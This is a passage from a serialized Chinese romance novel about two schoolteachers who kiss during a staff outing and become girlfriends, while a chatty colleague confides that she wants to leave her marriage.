晴天和下雨就在一念之间,林筝墨轻轻拍了拍枕头,把它揉回原来的状态,小声说:“小枕头,辛苦你了。” 林筝墨慢悠悠去洗漱,脚步一滞,镜子上居然有留言! 那是红色粗线字体,是用口红写下的: 【没有你,我做什么事情都会很无聊。】 字与字的缝隙里,林筝墨在镜子里看到自己的模样,恍然发现自己在笑。 啊。 这是简越写的。 所以她的小情绪,小心思,简越什么都知道。 林筝墨把镜子里的话拍了一张照片,她开始洗漱,开始收拾自己,开始雀跃,开始情不自禁。 连自来水拂上脸颊都能牵动嘴角。 十分钟后,不会游泳的林筝墨抓着那套泳衣出门了 * “为什么小林要一个小时之后才来?”张老师泡在水里,出水芙蓉中年版,脸上挂着一串水珠,有皱纹但也很精神,人一到自己喜欢的领域就特别带劲,张老师先前直接游了两个来回,着实惊艳了简越一下。 “她有一些作业要做。” “作业?” “她的课题。” “哦。”张老师似懂非懂点点头,“出来团建也要工作,好厉害。” “我也游一圈。” 简越一头扎进水里,耳边是雾蒙蒙的水声,咕噜咕噜,她像鱼儿往前游,手臂自由挥舞着,薄而紧致的线条相当优美,张老师在身后一脸欣赏。 途中换了三次气,最后一次抵达对岸的时候,发现眼前多了一双脚。 林筝墨的运动鞋踩在地砖上,蹲身,含蓄地说:“我有点睡不着。” “你来啦?”简越抬眼,额前的水顺着纤丽的脸颊向下淌,她小喘着气,唇角上扬,“好像也过了睡觉时间。” 林筝墨没穿泳衣,她不好意思,一身整齐又干净的穿搭,像个路人,“你们游,我看看就好。” 简越却抬起手,轻轻拉住她的裤脚,“我一个人很无聊。” “张老师陪你呀。” 简越重复:“我一个人很无聊。” 想起镜子上那句话,没有你,我做什么事情都很无聊。 林筝墨心头烫热,眼前,明晃晃的,像在蓝色玻璃下水纹荡漾着,荡漾着简越的脸,她的手臂,她的身体,还有一点看不清摸不着的暗示。 “我也要下来吗?”林筝墨把选择权交给简越:“可是我真的不会,会呛到。” “我教你。”简越指了指更衣室的方向,“换衣服在那边,游泳池也是男女分开的,我们可以放心学习。” 林筝墨轻轻咬唇,不自在道:“早上人多吗?” 简越回头看张老师,笑道:“池子里不就两个人吗?” 答案简而易见。 “去吧。” 林筝墨确实没想游泳,但耐不住池子里有这么一个人,且这个人总是用那种眼神看她。 那种,会让人心跳加速的眼神。 一对视,好像整个人都陷进去了 * 林筝墨去更衣室的时候,简越开始往回游,一直游到张老师的位置,才说:“我陪小林去换个衣服。” 张老师点头:“快去快去~” 简越扶着水下楼梯出来,一滩水顺着她的腿往下淌,一直落在脚趾上。她的泳衣一点都不花里胡哨,一身黑色,带着一股柔美的飒气,身材好得有点过头了,连张老师都没忍住多看两眼。 十点钟的方向写着三个大字:更衣室。 简越径直朝那边走去 更衣室是单人隔间,一条长帘遮挡着,早上空无一人,只有林筝墨在换衣服。 她先是解决掉上衣,穿着一件黑色内l衣,下面是一条牛仔裤,拿起凳子上的泳衣,摊开手里来看,在看哪里是正面,哪里是反面。 寂静的更衣室回荡着脚步声,想当然以为是要游泳的女性,林筝墨没在意。 她还在苦恼,仔细端详泳衣,觉得自己不太适合这种太紧身的衣服,这也是一直没有学习游泳的原因。 好不容易克服心理障碍,正要难为情地穿上,那脚步声忽然停止了,就站在帘子外面。 那是一双光洁的脚,脚的主人说: “林筝墨。” 是简越的声音。 “嗯?”林筝墨有些意外,简越怎么跟过来。 几乎是在回应的下一秒,帘子生出褶皱来,简越的一只手掀开,林筝墨一声惊呼。 眨眼间,简越已经挤进来。 突如其来,没有防备。 狭窄的空间,林筝墨局促到颤抖一下,她抱着手里的泳衣,锁骨内收,呈现出羞涩的抱状,惊讶又惶恐地看着简越。 “早上好。”简越莫名其妙开始问好,“差点以为你真的要睡觉。”说着,往前两步,将林筝墨逼在一个逼仄的角落里。 她身上还淌着水,头发还在嘀嗒嘀嗒,被水泡过的脸颊呈现出一种迷人的白皙。她说话的腔调,还有看林筝墨的眼神,都夹带着一股火热,略带攻击性,且是很有诱惑力的攻击性,好像她随随便便说一个字,一个唇语,都是燃烧欲l念的情话。 林筝墨呼吸一滞,心跳得厉害,脑袋嗡的一下,失去思考能力,整个人往后仰,呆呆地往后一步,无路可退,后背靠在墙上。 “你干嘛” 简越贴上去,把她抵在僵硬的墙面上,软绵绵的棉花糖填在林筝墨的胸腔里。 好软。 那种感觉和梦不一样,更具体,更生动。 林筝墨觉得自己快要跌入一片深邃的湖。 “昨天晚上。”简越缓缓捧起林筝墨的脸颊,整个人缓慢贴近,鼻尖在林筝墨的鼻尖上轻蹭着,她靠近,直到嘴唇距离不过毫厘,又忽然停下来,刻意不满足她。 林筝墨脚底发软,手掌贴在墙面上,弯曲的指节泛出骨骼的力度。 林筝墨听着,开始发出迷糊的声音。 像是“嗯”,也像“啊”,也许是介于这两个发音之间,有种迫切渴望和放弃抵抗的妥协,有种双向矛盾被挤压成单一答案的一览无遗,有种兜兜转转还是揭开面纱的宿命感。 她无力又局促地呼吸着,受不了眼前这片光景。 她不敢主动,不知道简越是不是这个意思,但如果简越愿意,她自甘坠落。 “昨天晚上什么?” “昨天晚上就想吻你。” “啊你不要说这种话。”林筝墨轻轻推了简越一下,这是一种苍白无力的反抗,约等于一种同意。 简越靠近,含住林筝墨的下嘴唇,再慢慢往上,直到林筝墨整个嘴唇都有触感。 脑袋一片空白,瞬间融化。 一片湖。 在眼前缓缓展开。 好像跌落进去。 越沉越深,越沉越深了—— 作者有话说:加更奉上[彩虹屁] 想看细节下一章 今天就到这里[彩虹屁] 也不知道大家爽到没有[彩虹屁]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 第四十一章 调情 第四十一章 简越左手伸到林筝墨的头发里, 指节弯曲,轻轻揉着她的头发。 彼此靠近的时候,内心同时经历一场大地震。 简越阖上眼,极其投入, 林筝墨的嘴唇很软, 简越先是含着她的嘴唇, 听到她的轻哼,趁胜追击, 轻轻地, 缓缓地,推入舌尖。 怀里的人颤抖一下,睫毛跟着也颤了颤, 小鸵鸟有种无处安放的局促,从她呼吸的频率可以听出来。 简越继续。 林筝墨的味道有点像夏日的薄荷糖,含在嘴里的时候带一点冰凉, 多攫取几次,来来回回, 薄荷化了, 又是火热的, 甜蜜的。 她的踟蹰和防御,渐渐被简越的热情消融, 似乎无法再掩饰, 一双手从身后垂落下来, 软绵绵地攀上简越的脖子,吊在简越身上,主动迎合上去。 简越浑身在喧嚣,她没想过林筝墨会主动。 林筝墨青涩地在唇舌之间造次, 略带笨拙,却很认真,有点像小学生做大学功课,ABCD是乱填的,奈何老师太宽容,没忍住还是给了满分。 简越愈发迷恋了,情不自禁配合她,轻轻往前一压,抵在林筝墨前面,林筝墨没忍住,发出一声撩人的嗯。 林筝墨从简越的唇上脱离出来,微喘,骄矜道:“我还没同——” 简越又贴上去,在她唇角轻轻碰了一下,“你还没什么——”末了,又啄一下,“你想说什么?我没听清。” 这根本不是一个疑问句,她故意听不见,不让林筝墨有回旋之地,接着搂着她的腰,又贴上去,吮了嘴唇,越咬越深,到最后已经到了贪婪的地步。 林筝墨根本招架不住,哼哼咽咽,晕晕眩眩。 温度快速灼烧着,氧气几乎殆尽。 直到又晕又乏,觉得自己快不能呼吸,才轻轻推开简越。 简越看着她泛红且微肿的嘴唇,眼底浮起满足的水光,带有很强的占有欲。 “你干嘛”林筝墨抬起手遮住简越的眼睛,不让简越看她,实在受不了如此灼热的眼神。 哪里有人第一次接吻像是要把人吃掉的?都说初吻青涩,书上写的,有些人第一次连怎么接吻都不懂,原来教材全是骗人的。 现实是,坏女人只会把你涂在墙上吃干抹净。 “你别看我,我,衣服还没——” 简越见她后劲已过,分外焦灼,索性不再看她,背过身去。 林筝墨把自己的T恤捞过来,快速穿上,先前她只穿着一件内l衣在和简越接吻,现在想起来胆大又涩情。 “你还好吗?” “我”林筝墨撂下一句:“我不想学游泳了。” 很难描述现在的心情,有一点点懊恼,但更多是无措和慌张。 “我冒犯到你了吗?” “不是。” “那是?”简越回过头来看向林筝墨,发现林筝墨只是呆呆地看着她,脸上的红晕还未散去,“我是不是吓到你了?” “没有吓到。”林筝墨抿了抿嘴唇,回味着,“你好像把我嘴巴亲肿了。” “好像是肿了。”简越靠近她,食指在她嘴唇上贴了贴,略有心疼:“那怎么办?” “你下次能不能轻一点点?”林筝墨说完这句,耳尖烫热。 啊。 这句话怪怪的。 火辣辣。 什么下次。 “下次一定。”简越抑制不住雀跃的心情,她忽然又想吻她,觉得可爱到有点犯规,但不可以这样贪婪,于是帮她收拾好衣服,耐心道:“不想学就不学了。” “你和张老师游吧,我看你们游。” “好,那我和她客套一下,游几圈我们就回去。” “嗯。” * 十点之后,泳池里的人渐渐多了起来,女人们身体在林筝墨眼前晃来晃去,年轻的,像刚抽条的细叶柳枝,纤细曼妙;亦或者经历风霜的,像粗树枝干的,敦实温美;还有垂吊的,松垮的,却并不觉得肥腻。不管怎样,女人的身体总归是这个世界上最美的,各有各姿。 林筝墨坐在一旁的凳子上,一只手撑着下巴,目光随着池子里某个人在移动。 简越自始至终都在林筝墨视线的焦点,她看着她,看她在水中律动的身体,透明的波纹拂过简越的后背,纤长的双腿上下晃动着,原来一个人游泳可以这么美。 有时她游累了,从水里出来,哗的一声,周边的水分散开来,仿佛在为她欢呼。 她总是第一时间望向林筝墨的方向,朝林筝墨挥挥手,林筝墨则是点点头。 简越指了指池子,又指林筝墨,唇语:你真的不想学吗? 林筝墨眨眨眼,眉目传情,用眼睛说话。 简越好像看懂了,比了一个“ok”的手势,钻进水里,向张老师游去。 张老师浮在水里打盹儿,她游累了,整个人虚浮浮的,像一个被掏空的皮球。 简越客气道:“您还游吗?” 张老师:“不游了,刚刚你们换衣服怎么那么久?我连续四个来回,实在累了。话说小林折腾这么久,怎么还是不下水?” “那套衣服尺码不对,她没穿。” “我还以为你们出什么事了呢。”张老师懒洋洋翻了个身,后背的褶皱随着碎花漂浮在水面上,两条腿轻轻蹬着,像一个中年小孩儿,“小林这么干坐着也不是办法,不然今天到此为止了?” 正中下怀。 简越:“好,下午还得去爬山呢。” 张老师往前扑几下,去抓扶梯栏杆,从水里踩出来,看了眼不远处的林筝墨,笑了笑。 林筝墨也回她笑。 张老师淌着水过去,悠然道:“小林,早知道你不会游泳就不叫你来了,也是劳烦你了,陪我这么久。” 林筝墨视线越过张老师的肩膀,看到简越那双明晃晃的腿,扬唇道:“不久,您游得挺好的。” “你看到简主任游了吗?她有两把刷子!” 林筝墨:“我没怎么看她,倒是一直在看您。” 一句话哄得张老师心花怒放。 “哎哟。”张老师害羞道:“我给你买套合身的泳衣得了!下次我教你!” * 终究是团建,小队活动的时间有限,游完泳后,几乎就没有单独相处的时间了,需要融入大部队。 大家还是要做做样子给领导看的,比如一张大合照。 简越把这个环节安排在下午爬山的活动,计划是在山顶或者山脚拍一张,再回酒店就是晚上了,明日清早,他们就要坐大巴车回南城。 由于是体力活动,午餐不敢简单对付,作为这次活动的策划人,简越肩上有责,早就提前预定了一家餐厅,那是一家中规中矩的中餐,不奢靡,不寒酸,老板是认真做餐饮的人,非常老实。 三张大圆桌摆在包间里,席上红红绿绿,有鱼有肉,青蔬搭配,营养又健康。 “嗯!这豆豉挺纯!”某位老师赞不绝口:“豆瓣也绝!还有清蒸鱼,你们快尝尝。” “简主任选的饭店,你就放心好了。”赵铭彩虹屁跟上。 简越依旧是平日那副靠谱模样:“嗯你们觉得不错就好,多吃点吧,不够再加。” 她和林筝墨没坐一起,因为中间硬插了个张老师。 俗话说:食不言寝不语。 但话又说回来,哪有吃饭不说话的?特别是话唠张老师,她那小嘴一张,鞭炮一放,着实炸耳朵。 “诶小林啊,上次我给简主任介绍的对象都成了,你那个听说没怎么联系了?简主任那位,好像都出去吃过两回饭了。” 林筝墨筷子上的山药忽然夹成两截,“哦~她都吃过两次饭了呀。” “是的吧?”张老师侧目瞅简越一眼,发现简越笑容僵硬,“是吗简主任?” “您记错了,我那个早水了。”简越实话实说:“我想还是算了,最近工作好忙,不去考虑这些事了。” “你和小林真是的,怎么就组成单身姐妹队了?” “还是那句话,没有时间。”简越敷衍着,不忘夹一片牛肉,穿过张老师的碗,落在林筝墨碗里。 “谢谢简主任。” “不客气,林老师。”简越故意咬重了林老师三个字,一瞬不瞬看着林筝墨。 果不其然,林筝墨抬眼看她,眼含情愫,两人目光暧昧地碰了一下,空气中好像有火在燃烧。 林筝墨迅速低头下,默不作声吃起牛肉来。 满席热闹,无人发觉她们之间的秘密,连距离她们最近的张老师也一无所知。 林筝墨嘴里咀嚼着牛肉,脑袋里却想着上午更衣室里的事迹。尽管简越离她不过半米,居然也会觉得遥远,她居然开始思念她,想念她的触碰,或者可以光明正大看她一眼,不用如此遮遮掩掩。 讨厌团建。 讨厌一群人吃饭。 讨厌烂俗的话题。 她实在不适合这种场合,下次还是不要参加了。 想和简越说话,说点什么都行。 “简主任。”林筝墨忽然抬起头,难得主动开启对话。 “怎么了?”简越稍稍倾身,朝林筝墨靠去,认真聆听,她以为林筝墨要说一些很正式的话。 林筝墨却说:“前些日子我发过一些文件给你,你还记得吗?” 简越眉心一跳,眼底闪烁着异样的光色。 我的小鸵鸟。 你 在这种场合和我调情是吗? “记得。”简越不露声色,“那个文件我当时看了好久,觉得你做得不错,后面你又改了好几个版本给我。” “对。”林筝墨夹了一片青菜在碗里,再次看向简越,一副讨教又谦虚的模样,顿了顿,又说:“那简主任觉得我的文件做得怎么样?” “很好啊,你业务能力很强!”简越竖起大拇指,一副老干部模样。实则心头热烈,差点没假装下去。 满席美味瞬间索然无味,被钓得眼皮跳跳。 林筝墨你 你很犯规! 林筝墨面色无恙,眼睛却亮闪闪的,“那我下次再多发几份给简主任,您多帮我过目过目。” 夹在中间的张老师听得云里雾里,她还不知道林筝墨和简越有业务来往呢,一个英语老师和政治老师有什么文件互换的? 难道林老师日常研究社会主义核心价值观? “哎哟,出来玩怎么还一直在说工作!”张老师的手在空气中劈了一下,势必要把两人的话题劈开,“我的乖乖,你们聊点别的吧。” “好~”林筝墨乖巧状,继续吃饭,吃了两口,搁下筷子,忽然起身,“我去躺卫生间。” 简越收回目光,手指在圆桌玻璃上转了一下,一道豆腐停在面前,她拿出勺子,漫不经心舀了一勺放进碗里。 张老师贴心提示:“慢点吃,这豆腐烫嘴啊。” “好呢。”简越搁下筷子,没吃,只是盯着餐桌发呆,眼神逐渐飘忽。 四面人声沸沸,这样那样的闲碎话题钻进简越耳朵里,她却心不在焉,像是抽了魂。 无人在意的角落。 简越一只手垂落在桌下,手腕上的运动手表显示:心率140,远远大于普通心率。 噗通噗通,噗通噗通。 全世界都知道你林筝墨发的是什么文件!! 不爱穿衣服的文件! 简越忽然起身,对张老师说:“我也去趟卫生间”—— 作者有话说:林筝墨:我林筝墨,单纯、清澈、心无旁骛一心只有工作,从来不会对上级有任何越界行为[撒花] 简越:宝宝,其实全世界都知道你的消防文件是什么东西了[彩虹屁] 第42章 第四十二章 现在是女朋友…… 第四十二章 “我也去趟卫生间。” 张老师眼皮半掀, 茫然:“怎么饭没吃几口净喝水?” 简越不答也不语,默默从座位上退出来,转身往外走。 从包间出来,迎面一条金漆色长廊, 长廊尽头就是卫生间, 简越进去转了一圈, 发现林筝墨并不在里面。? 人捏? 又下一楼,不见身影。问前台的老板, 老板小手往门外一指。 “噢, 那个美女啊,刚刚外面去了。”怕简越不识路,有意提示:“出门左拐。” 饭店外面是一个小花园, 是老板开拓的私人休歇区域。很有雅趣,养花种草,还有一个人工小池塘, 中截立着一个木亭,适合乘凉。 “干嘛呢?” 林筝墨触摸着花瓣, “我透气。” “不是上厕所?”简越同她一起蹲下, 两人肩靠肩, “你是不是特讨厌团建?” “有点。”林筝墨停止戳戳,侧目望简越, “你下来干嘛?” “陪你。”觉得“陪”用得不是很恰当, 改口:“我也透透气。” “喔~”林筝墨在地上捡了一截小棍子, 漫无目的在地上画着圈。 简越一瞬不瞬看着她,问她:“其实一直想问,你这次来团建,是因为我吗?” 手里的木棍滞了一下, “不是,张老师要我来的。” “喔~”简越若有所思:“张老师这么有魅力。” 非也。 但林筝墨赶鸭子上架,只能回应:“是。” “那她给你介绍对象你怎么不要?”简越没忍住笑出声来。 林筝墨有些懊恼,知道简越又在和她逗趣,可惜她嘴笨,口舌相争必败,只能用木棍去戳简越的鞋面。 戳戳,觉得不够,又戳了两下:“我来团建才不是因为你。” 这种戳戳有点儿像在挠痒痒,简越情不自禁笑起来,伸手去抓林筝墨,顺手把她的小棍子扔掉了。 “不是因为我。”简越忽然靠近,一双水光荡漾的眼睛看着她:“那你告诉我,刚刚说的文件是什么意思?” 说来也怪,众人面前调情没不好意思,单独拎出来反而害羞了。 “工作文件啊。”林筝墨睁眼说瞎话。 “哦这样啊。”简越靠她越来越近,“可是我们以前好像没有工作对接诶?” 除了半夜发的那些照片。 嗯—— 林筝墨看着这张脸,洁白无瑕,纤丽动人,一双善睐的美目凝视着她,暗含深情。 是她勾引简越出来的。 现在简越又用眼睛勾引她。 “那就是我记错了。”林筝墨的声音淡下去许多,垂眸,妄图躲避简越的视线。 简越伸手抬起她的下巴,微微凝目,唇角笑意荡漾开来:“照片我很喜欢。”刻意靠近一些,嘴唇在林筝墨侧脸吻了一下,又靠近她的耳朵,热意暖流:“很会拍。” 脸颊快速填满红晕,耳尖发烫,林筝墨觉得简越连说话声音都变了。 天空蔚蓝,花朵黯红,她们躲在世界小小一隅,在调情,在说秘密。有种隐秘的冲动,却又合乎情理。 “张老师下次再给你介绍对象,你就说你谈恋爱了,好吗?免得她一直烦你。””简越在林筝墨耳边又吻了一下。 林筝墨很喜欢简越这些细碎的吻,内心的空缺被填满。她来这里团建,似乎内心隐约期待的也是这些东西,和简越呆在一起,即使什么都不做,也觉得很幸福。 调情和说反话似乎是爱情的定律。 林筝墨也不例外。 “可是我没有谈恋爱诶。”林筝墨明明心里有答案,偏偏要反着说,自己说得都没有底气,却还是要故意说给简越听:“目前单身。” “你单身!”简越果然受她刺激,瞠目结舌,对这女人又刮目相看了,“你怎么可以觉得自己还单身!!” 林大人!上午的吻算什么! 林筝墨被捏得心头暗爽,却不露声色,唇角有微不可察的笑:“是啊,我是单身,目前没有人找我谈恋爱。” 这算是某种暗示。 暗示简越只是吻了她,却没有主动确定关系这个动作。 仪式感很重要,要从一种关系过渡到另一种关系,总得有正式的确认才对。 简越仔细琢磨,也是,她和林筝墨接吻,那是临时起意,是情不自禁,但她要和林筝墨谈恋爱,这是一件深思熟虑的事情,既是一件深思熟虑的事情,就该细水长流,不能草草了事。 “那回南城之后,我再问你吧?” “为什么要回南城之后?”林筝墨秀眉轻蹙,心想,蠢女人,你还不快点表白。 简越心跳得厉害,“我只是觉得没有准备礼物,或者正式吃一顿饭之类的。” “那些东西可以先欠着。”林筝墨侧目,视线再度与简越对上,“有些事情,你可以现在和我确认。” 比如正式谈恋爱。 用正式的措辞。 我是你的女朋友,你是我的女朋友。 要从一万个世纪以前开始。 直到现在。 然后再往后一万个世纪。 简越心尖狂跳,喉咙发烫,情绪焦灼起来。 “那,林筝墨。” “在。” “非常正式地问你。” “好。” “我我们可以谈恋爱吗?”简越真情实感起来:“我喜欢你挺久了。” 简越高中作文得过很高的分,老师曾说她好词好句积累得多,思路清晰,又会写,又会说。 到这样的场合,却言语干涩,喉咙像是卡了一块木塞,甜蜜之词怎么也说不出来,爱到深处变得词穷,原来是这个意思。 “然后呢。”林筝墨只是看着她,等待后续。 “那其实”简越喉咙滑动了一下,脸颊灼热,“那其实这份喜欢,早于我们在网络上谈恋爱以前。我每天看到你就好开心,每天最期待的事情也是和你见面,在教室,在走廊,在办公室,你的模样像一万只蝴蝶在我脑袋里飞来飞去,嗯,听起来有点滥俗,但对我来说,很多事情和你一起做才有意义。” 忽然想起镜子上那句,用口红标下的那句:没有你,我做什么事情都很无聊。 你成为我生活的意义,琐碎的意义。 我喜欢你,我需要你。 我爱你。 但是我爱你又要如何表达呢?语言总是贫瘠。 “所以我想,以正式的态度询问你:我们一起,走很长很长的路吧?” 林筝墨不是第一次听她表白,无数个夜晚,她们捏着手机,靠着听筒传递绵绵情意,从前,简越在手机里对她说过很多情话,但隔着屏幕,总觉得虚浮,仿佛那些浓烈的爱意都会随风而逝,直到这个人真的出现在眼前。 直到她真的就在身边。 原来爱是具像化的,不是冰冷的文字,也不是机器里假温热的话语,是要和生机沾上边,要闻到花香,看到蓝天,要感受到她的温度,要听她弯弯绕绕的语调,还要看见她说话时眼睛里的星星。 简越的眼睛是一汪泉,林筝墨只看她一眼,就觉得自己陷落进去了。 她沉溺在简越的瞳仁里,忽然觉得这种感觉很神奇,明明天空还是天空,花是花,但世界就是瞬间鲜亮了起来。 “好。”林筝墨脸颊被阳光照得火热,重复了一遍:“可以。” 简越去握她的手,“那现在是女朋友?” 春天刚开的桃白色粉晕在脸颊盛开,悸动是天空的鸟飞往群山,林筝墨的思绪被捧得很高,触碰到遥远的地方,又落回来。 她轻轻点头,“你过来。” “嗯?”简越靠近她,以为林筝墨要说点什么。 林筝墨嘴唇贴在简越脸上,轻轻啄了一下。 她送给简越一个吻。 要命。 “送给你的礼物。” “谢谢,但还要。”简越把右脸凑过去,“右脸说左脸有,右脸没有,右脸要生气了。” 这是什么蹩脚的理由?右脸居然敢造次! 可林筝墨承认她对这女人确实没什么抵抗力。 林筝墨只好又贴过去,在她右脸又吻一下。 “额头也要。” 林筝墨:“” “嘴巴呢?” “简越!”林筝墨站起身来,假意愠怒:“要不要把你浑身亲个遍?” 说着快步往回走,面赤耳热,其实觉得很害羞,哪有人这样索吻的。 身后传来简越的声音:“好啊,反正今晚我们还要一起睡觉,欢迎你来——” 林筝墨瞬间转身,去捂她的嘴巴,“不许说话!” 简越凝视着她,眼底流露温情。 林筝墨放下手,转身继续往前走,简越凑过来,主动去牵她。 两人十指紧扣,走了一路,快出小花园的时候,林筝墨将手指抽离,提醒她:“马上进去了,我们还是不要太亲密吧。” “好。”简越知道她边界感强,隐私不愿外露,并不强迫她,“等会儿我先上去,你紧跟着上来。” 林筝墨想说也不用这么谨慎,但想了想,还是点头应下。 她们短暂而快速地温存片刻。 又一同步入餐厅,简越率先上楼,林筝墨在外面站了一会儿,跟上步伐。 宴席还是那么喧闹,简越坐下,张老师又啰唣几句,没一会儿林筝墨也入座。 “在聊什么?”林筝墨无意问起。 “学生的事。”张老师捻了捻纸巾,擦了擦嘴角的余油,“老生常谈的话题,谈恋爱嘛。” “哦。”林筝墨点点头,“是有不少。” “但也不是什么寻常恋爱。”张老师凑近了,在林筝墨耳边嘀哝,林筝墨咬住下唇,没有说话。张老师睃她一眼,兀自感慨:“不过我说句实在的,早年教过一批学生,很早以前了,那是南中最差的班,学生不懂事,男女恋爱,差点吃了些亏,倒不如搞这种呢!又伤不了身体。” 林筝墨有些语塞,她不敢发言,因为张老师在说年级上女生和女生谈恋爱的事。 “是吧?”张老师见林筝墨不说话,转身去问简越:“简主任你说呢?” 简越茫然:“都不知道你们说什么。” 张老师又说了一遍。 简越脸色微僵,说起官方话来:“只要是谈恋爱,通通都是要管的。” “但话又说回来。”张老师话锋一转:“是李老师这么说,但我觉得李老师想太多。像我们那个年代,姐妹之间牵牵手,拥拥抱,那是很正常的!李老师说,他瞅见嘴碰嘴,那小女生聊开心啦,其实我觉得也不算什么事。” 张老师说到兴头上,口不择言起来,“是不是?小林,简主任,举个例子,我只是举个例子,你们俩关系好,是姐妹,情谊深,真当着我面亲一个,我也不觉得有什么,怎么背地里就被误会成同性恋?李老师神经敏感。” 张老师和李老师私下不对付,关系僵了有一阵子了。起因是李老师打麻将总是不给钱,要到最后才来算账,张老师觉得这样抵了她的好运气,她输钱全是因为他! 她讨厌他。 她要抬杠。 可林筝墨还是觉得这话扎耳,堪比十级恐怖片的程度。她和简越的关系那么“单纯”,饶使再会装,经张老师这糖衣炮弹,谁也招架不住。 心虚虚虚虚虚虚虚 林筝墨好看的唇抿成一条线,低头看手机,实际没看,只是虚虚一瞥,装作很忙。 简越抬头看了眼天花板,眨眨眼,揉揉眼角,又低头,看了看指甲,假装很忙x2. 张老师忽然觉得这俩人不得劲,怎么无人发言! “说话呀!” 林筝墨像被尖刺戳了一下,连忙说:“嗯嗯,您说得在理,女生和女生之间的感情好,牵牵手算不了什么。” 简越加入进来,帮老婆搭腔:“牵一牵,抱一抱,是挺正常的。” 张老师:“我也是说,十七八岁的姑娘又懂什么?这世界上哪里那么多同性恋?” 林筝墨附和她:“应该很少吧,我没见过。” 简越连忙跟上:“我也是,从来没听说过。” 张老师嗟叹:“是了,他就是神经敏感,制造恐慌,反正我身边是没有。” 第43章 第四十三章 浪漫主义者的执着与愿望…… 第四十三章 张老师一番大胆发言, 让林筝墨和简越简直如履薄冰。 不是偷情,胜似偷情。两人先前还在楼下接吻,结果饭局上连眼神都不敢交触一下。张老师堪比床边的摄像头,只要你敢动一下, 哼! “你们说是吧?” “是是是。” “是是是。” “嗯嗯嗯。” 别再说啦, 服了你老人家了。 茶足饭饱, 一行人撤场,大巴车已在路边等候, 老师们陆陆续续上车, 距离西山一小时,顺便小憩一会儿。 “小林等会你就和我坐好了。”张老师挽着林筝墨的胳膊,语重心长:“我这正好有些掏心窝子的话要和你说。” “嗯, 好。” 简越:“能坐最后一排吗?正好我也听听。” 张老师摆手笑道:“私人话题,就不让你听了。”说完还刻意对简越使了个眼色,让她别打岔。 简越有种不好的预感, 张老师又要搞什么幺蛾子? 上车后,简越在合适的位置坐下——坐她们的后边。这么坐是有考究的, 偷听方便一点。 张老师扶着林筝墨坐下, 小包包里拿出一瓶药, 笑着示意:“今天吃吗?” 林筝墨连忙摇头,“就不了。” 这是啥玩意儿您不清楚吗?上回吃了您的药, 醒来就被身后那只老狐狸吃干抹净。 安眠药, 碰不得哟~ 张老师吃了两粒, 把药瓶装包里,一只手垂在大腿上,不安分地拍了拍:“我以前不失眠的,近两年遇到一点儿事, 慢慢就开始睡不着了。” 似是吐露心事,林筝墨默默听着。 她知道,张老师这人不坏,就是唠叨,爱管闲事。 “您遇到什么了?” “也不是什么大事。”张老师揉揉眉心,往林筝墨的方向靠了些:“小林,你给我一点建议罢?” 林筝墨非常意外,她以为张老师又要给她介绍对象,没想到是另一层意思。 原来在张老师的世界里,林筝墨已经是可以交换秘密的人了吗? 实话说,林筝墨有点惊讶,又有点受宠若惊,但更多的是她不敢听。 可张老师还是说了: “我不爱我老公。” 哇,好直白的开场白。 “那您离婚?”林筝墨就更加直白了。 “可是我不敢。”张老师脖子后缩,两只手贴在脖侧,来回摩挲着,很是焦虑:“我老公没出轨,没犯错,女儿马上也大学毕业了,家庭还算稳定。”她说到这里,皱眉,“但我就是感觉不到幸福!我和他是包办婚姻,没有爱的。他思想保守,很多事不让我做。” 林筝墨陷入沉思 像张老师这样的人,挺少的,在这个社会,中年女人的想法很容易被忽略。不是说她们过得好,而是很多事情考虑到最后,都一句话:算了。 “那您想要的生活是?”林筝墨耐心地引导她。 “我想自由自在,想打麻将就打麻将,想买衣服就买衣服,想旅游就旅游,兜兜转转几十年,买件鲜亮的衣服都要被说!” “嗯”林筝墨想说,赶紧离,话到嘴边还是收敛了点:“可能分开要好一些。” “真的?”张老师如释重负:“所有人都让我算了,说一把年纪别折腾了,小林,你是第一个” 林筝墨相当谨慎,不把话说绝对了,“我只是觉得,可能您的幸福更重要一些?这和年龄没有关系吧?” “行,你能理解我真是太好了,我根本找不到一个可以理解我的人。”张老师一声叹息:“回头我和我女儿再谈谈。” “嗯。” 张老师一只手搭在林筝墨胳膊上,柔情蜜语:“小林啊,我其实一直把你当妹妹,别人我不知道,但你啊,打你进来第一天起,我就知道你是个好姑娘。” 老一辈夸人就是这么实在。 林筝墨其实挺不好意思的,她在学校就是一个假面人,张老师若是知道她的真面目,恐怕是要惊掉下巴了。 “谢谢。”林筝墨不知道怎么回复,嘴笨,只能又安慰道:“希望您多考虑考虑自己。” 张老师点点头,药效上来,眼皮子开始打架了:“困了,歇一觉。” “好。” 张老师又睁开眼,嘀哝:“今天的话不可以和任何人说,包括简主任。” 在后座偷听的简越立马坐回去,佯装没听到过 林筝墨眼皮往边侧斜了眼,颔首:“我一定保密。” * 路途奔波,汽车引擎一路嗡嗡,虽然空调在吹,但还是些许闷热。 林筝墨困意全无,靠在车窗上,凝视着窗外快速倒退的风景,有些惆怅。 张老师今年四十八,人生的路已过大半,如今才幡然醒悟,要做一个显而易见的决定,却没人支持她。她说话的神态,那种哀叹,是无法掩饰的。 林筝墨忽然又想起了自己。 某种意义上来讲,她是轻度版本的张老师,她觉得自己也不自由。她没有勇气,也没办法为自己做决定。 她不会妥协,但也不会争取,她只会逃避,她觉得自己是一个只会躲起来的胆小鬼。 “林老师~”座位缝隙忽然响起简越的声音。 林筝墨转过身去,却没看到简越的脸,缝隙递过来一个记事本,本芯里夹着一支笔。 接过。 不明所以。 翻开夹着笔的那一页来看。 条格上写着一句:【在干嘛呢?】??? 传纸条? 她几岁了。 林筝墨写下:【幼稚。】接着把笔记本塞回去。 下一句很快抵达。 【你发呆好久啦,不开心?】 林筝墨注视着笔记本上的字,忽然简越共情力很强,总是能发现她的坏情绪。 林筝墨写下:【我上一次传纸条是十年前。】 简越:【不许嫌我幼稚,陪我玩。】 林筝墨看着上面的字,忍不住笑,坏心情飞走了些。 她没有再写文字,而是在空白处画起画来,一笔一画勾勒,尖尖的鼻子,毛茸茸的尾巴,眼睛并不狡猾,而是和善的笑意,四条腿,蹲状,那是一只狐狸,拉一条线,箭头,批语:简狐狸。 又塞过去。 听到后座清越的笑声,唰唰几笔,不知道简越在写什么。 简越也在画画,一只小鸵鸟,鸵鸟这种动物并不可爱,但简越画的鸵鸟很可爱。画里的鸵鸟提着一个电脑包,穿着裙子,两条腿往前迈,有种想迫切离开的即视感。 批语:当我派赵铭去问林老师去不去团建的时候 